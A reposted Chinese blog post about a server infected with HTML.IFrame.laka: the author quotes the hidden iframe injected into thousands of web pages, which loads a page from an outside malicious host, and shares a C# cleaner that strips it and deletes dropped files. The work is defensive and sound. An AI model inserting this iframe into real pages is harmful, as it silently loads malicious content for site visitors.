日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > HTML >内容正文

HTML

服务器中毒 HTML.IFrame.laka

發布時間:2025/6/17 HTML 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 服务器中毒 HTML.IFrame.laka 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

背景:

  最近客戶反應,站點部分功能無法正常使用。原來我打開看了之后,發現每個aspx頁面尾部添加了這樣一行代碼。

<iframe src="http://www.xinxinbaidu.com.cn/htm/mm.htm" width=0 height=0></iframe>

而且幾乎每個文件下,多了一個Desktop_1.ini。有些地方還有cool_gamesetup.exe程序存在。二話不說,趕緊裝了殺毒軟件進行殺毒,殺毒軟件將這些中毒文件全部找到了,處理方式是直接刪除文件。服務器上有大約9000+個網頁類文件都被添加了該惡意代碼,又不能直接刪除,于是采用程序的方式,首先刪除這些病毒特征,再用360全盤掃描。

資源下載:

  源代碼

開發思路:

  遍歷磁盤驅動器,遞歸遍歷子文件夾,將子文件夾網頁類文件中的錯誤代碼移除,同時檢查是否存在需要刪除的文件(Desktop_1.ini和 cool_gamesetup.exe),并將其刪除。在實際操作過程中發現Desktop_1.ini是只讀文件,禁止被刪除的,首先需要將該文件設置為可讀可寫,再將其刪除。最后的效果則是,基本上需要的文件都沒有刪除。

代碼如下:

/* ==============================================================================* 文 件 名:Program* 功能描述:* Copyright (c) 2013 武漢經緯視通科技有限公司* 創 建 人: alone* 創建時間: 2013/3/24 21:13:47* 修 改 人: * 修改時間: * 修改描述: * 版 本: v1.0.0.0* ==============================================================================*/ using System; using System.Collections.Generic; using System.IO; using System.Text;namespace HTML_IFrame_laka文件還原 {class Program{public static string[] files;//需要刪除的文件public static string[] exts;//需要替換錯誤代碼的文件后綴//錯誤代碼public static string errorCode = "<iframe src=\"http://www.xinxinbaidu.com.cn/htm/mm.htm\" width=0 height=0></iframe>";public static string logName;//日志文件static void Main(string[] args){//設置參數logName = ".//" + DateTime.Now.ToString("yyyy年MM月dd日") + ".log";files = new string[] { "Desktop_1.ini", "cool_gamesetup.exe" };exts = new string[] { ".aspx", "jsp", "html", "htm", "shtml" };//遍歷驅動器 var drives = Directory.GetLogicalDrives();foreach (var drive in drives){Handle(drive);}Console.WriteLine("程序處理完畢");}static void Handle(string path){Console.WriteLine("處理目錄 " + path);//移除文件中的錯誤代碼var files = Directory.GetFiles(path);foreach (var file in files){var currExt = Path.GetExtension(file);foreach (var ext in Program.exts){if (ext == currExt){try{//獲取該文件的編碼 用該編碼進行文件讀寫var encode = TxtFileEncoding.GetEncoding(file);var content = File.ReadAllText(file, encode);if (content.Contains(errorCode)){content = content.Replace(errorCode, string.Empty);File.WriteAllText(file, content, encode);Console.WriteLine("修改成功 文件編碼:{0} 文件路徑:{1}", encode.BodyName, file);}}catch (Exception e){Console.WriteLine("修改失敗 {0} {1}", file, e.Message);Write(e.Message);}}}}//刪除指定文件foreach (var file in Program.files){var deleteFile = Path.Combine(path, file);if (File.Exists(path)){FileInfo flDeleteFile = new FileInfo(Path.Combine(path, file));flDeleteFile.IsReadOnly = false;flDeleteFile.Attributes = FileAttributes.Normal;flDeleteFile.Delete();Console.WriteLine("刪除{0}成功", file);}}//遞歸文件夾var dirs = Directory.GetDirectories(path);foreach (var dir in dirs){try{Handle(dir);}catch (Exception e){Console.WriteLine("目錄處理失敗 {0}", dir);Write(e.Message);}}}static void Write(string msg){var content = new StringBuilder();content.AppendLine("【記錄時間】" + DateTime.Now.ToString());content.AppendLine("【錯誤信息】" + msg);File.AppendAllText(logName, content.ToString() + Environment.NewLine);}} }

更新:

  1.讀取文件的編碼,使用該編碼進行讀寫,避免亂碼。(2013-03-25)

?

?

  希望能幫到那些在服務器上遇到同樣問題的人。

?

轉載于:https://www.cnblogs.com/codealone/archive/2013/03/24/2979696.html

總結

以上是生活随笔為你收集整理的服务器中毒 HTML.IFrame.laka的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。